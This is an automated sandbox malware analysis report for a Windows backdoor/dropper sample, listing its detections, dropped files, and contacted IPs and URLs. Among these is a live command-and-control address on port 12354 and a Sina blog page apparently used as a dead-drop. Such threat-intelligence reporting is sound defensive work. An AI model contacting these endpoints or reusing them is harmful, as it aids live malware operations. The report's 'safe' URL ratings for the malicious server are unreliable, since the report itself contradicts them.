Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
nt11qTrX4f.exe	82%	ReversingLabs	Win32.Backdoor.Venik
nt11qTrX4f.exe	100%	Avira	TR/Dropper.Gen
nt11qTrX4f.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\wlbldvv.exe	100%	Avira	TR/Dropper.Gen
C:\wlbldvv.exe	100%	Joe Sandbox ML
C:\xrzyhhhnk\uycmiha.dll	100%	Joe Sandbox ML
C:\xrzyhhhnk\uycmiha.dll	92%	ReversingLabs	Win32.Worm.Palevo

Source	Detection	Scanner	Label
http://107.163.241.232:12354/show.php	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpW	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php2b	0%	Avira URL Cloud	safe
http://192.168.100.83/F.htm	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpFb	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpX	0%	Avira URL Cloud	safe
http://107.163.24I	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpo	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpos5c	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpSA	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php7A	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php?	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php%A	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpRe	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpA	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpcrosoft	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpJb	0%	Avira URL Cloud	safe
http://www.1.comhttp://192.168.100.83/a	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php7	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php=	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpB	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php;	0%	Avira URL Cloud	safe
http://192.168.100.83/9.htm	0%	Avira URL Cloud	safe
http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php4b	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpvb	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpMc	0%	Avira URL Cloud	safe
http://www.1.com	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php#	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpUA	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.phpLb	0%	Avira URL Cloud	safe
http://192.168.100.83/	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php.	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php)	0%	Avira URL Cloud	safe
http://107.163.241.232:12354/show.php8b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
blogx.sina.com.cn	202.108.0.52	true	false	high
krnaver.com	unknown	unknown	true	unknown
blog.sina.com.cn	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.163.241.232:12354/show.php	true	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807	false		high
https://blog.sina.com.cn/u/5655029807	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://blog.sina.com.cn/u/5655029807zAA	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807.	rundll32.exe, 00000006.00000002.4500653072.000000000575D000.00000004.00000010.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807ments	rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.168.100.83/F.htm	nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php2b	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%s	rundll32.exe, rundll32.exe, 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmp	false		high
https://blog.sina.com.cn/les	rundll32.exe, 00000006.00000002.4500790526.00000000058CB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807zvb	rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpFb	rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298074b	rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/56550298078b	rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807vb	rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpW	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpX	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php7A	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpo	rundll32.exe, 00000006.00000002.4500247536.0000000004CBD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.24I	rundll32.exe, 00000006.00000002.4500195574.0000000004C3C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807us	rundll32.exe, 00000006.00000003.2408879759.00000000058CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpSA	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807vb	rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpos5c	rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpRe	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpJb	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpcrosoft	rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php%A	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php?	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298075c	rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807ft	rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php=	rundll32.exe, 00000006.00000003.2983769245.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2777759265.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260244286.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984541209.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860528746.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2819181916.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900421885.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2941784621.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3025769477.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696528016.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3958699757.0000000000996000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984401135.0000000000998000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2327856056.0000000000997000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2668728144.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpA	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpB	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php7	rundll32.exe, 00000006.00000002.4500534062.000000000553A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807T	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.1.comhttp://192.168.100.83/a	nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php;	rundll32.exe, 00000006.00000002.4500534062.000000000553A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.100.83/9.htm	wlbldvv.exe, wlbldvv.exe, 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmp, wlbldvv.exe, 00000005.00000000.2050613990.0000000000401000.00000080.00000001.01000000.00000004.sdmp, nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zFb	rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807P	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpvb	rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php4b	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807UA	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/and	rundll32.exe, 00000006.00000003.2984323444.00000000058D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807obat	rundll32.exe, 00000006.00000003.3958954818.00000000058D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z;A	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.168.100.83/9.htmhttp://192.168.100.83/F.htm%D	nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.phpMc	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.1.com	nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298072b	rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php#	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298077	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/user	rundll32.exe, 00000006.00000003.2696665246.00000000058D2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php8b	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz	rundll32.exe, 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmp	false		high
http://107.163.241.232:12354/show.phpUA	rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.232:12354/show.php.	rundll32.exe, 00000006.00000002.4499127637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.168.100.83/	nt11qTrX4f.exe, wlbldvv.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807crosoft	rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807Fb	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.phpLb	rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807OA	rundll32.exe, 00000006.00000003.2819270798.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2860685756.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2573510715.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2244836637.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2328048597.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2655320938.000000000588C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984597166.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2245140570.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2900570893.0000000005891000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2530320686.0000000005891000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.232:12354/show.php)	rundll32.exe, 00000006.00000002.4500195574.0000000004C3C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500247536.0000000004CBD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/	rundll32.exe, 00000006.00000003.2668821908.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4499127637.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.00000000058CB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4260633290.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696665246.00000000058D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4500790526.0000000005883000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2983769245.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2984323444.00000000058D2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696574520.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
202.108.0.52	blogx.sina.com.cn	China		4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
107.163.241.232	unknown	United States		20248	TAKE2US	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573197
Start date and time:	2024-12-11 16:24:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nt11qTrX4f.exe renamed because original name is a hash value
Original Sample Name:	053a2c39045f97fd449d4ff77a323f6fae8af944814cf85250fc52be3147bab2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/3@54/3
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 61 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.242.39.171, 13.107.246.63
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 380 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: nt11qTrX4f.exe

Simulations

Behavior and APIs

Time	Type	Description
10:25:12	API Interceptor	534000x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
202.108.0.52	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	VqCbf9fhnQ.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	k4F4uRTZZR.dll	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	5jme4p7u76.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
107.163.241.232	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	107.163.241.232:12354/show.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
blogx.sina.com.cn	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	yKVQVNB2qI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
bg.microsoft.map.fastly.net	FW Tarala Electric Group shared .msg	Get hash	malicious	unknown	Browse	199.232.214.172
	Document.xla	Get hash	malicious	Unknown	Browse	199.232.210.172
	Message_2712729.eml	Get hash	malicious	unknown	Browse	199.232.210.172
	DHL_73482551429387.scr.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	tAxCYxPPvRWxScP.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	108422371256788785.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	c017e092-1e82-6b7d-a653-6975019e61fd.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	199.232.214.172
	sbs9FC81oX.exe	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	123.121.0.198
	Josho.mpsl.elf	Get hash	malicious	Unknown	Browse	124.192.197.161
	Josho.mips.elf	Get hash	malicious	Unknown	Browse	114.67.239.168
	hax.x86.elf	Get hash	malicious	Mirai	Browse	221.222.118.76
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	140.210.138.192
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	103.135.163.78
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	122.113.109.82
	rebirth.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	123.126.198.111
TAKE2US	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	107.163.241.232
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	107.163.241.204
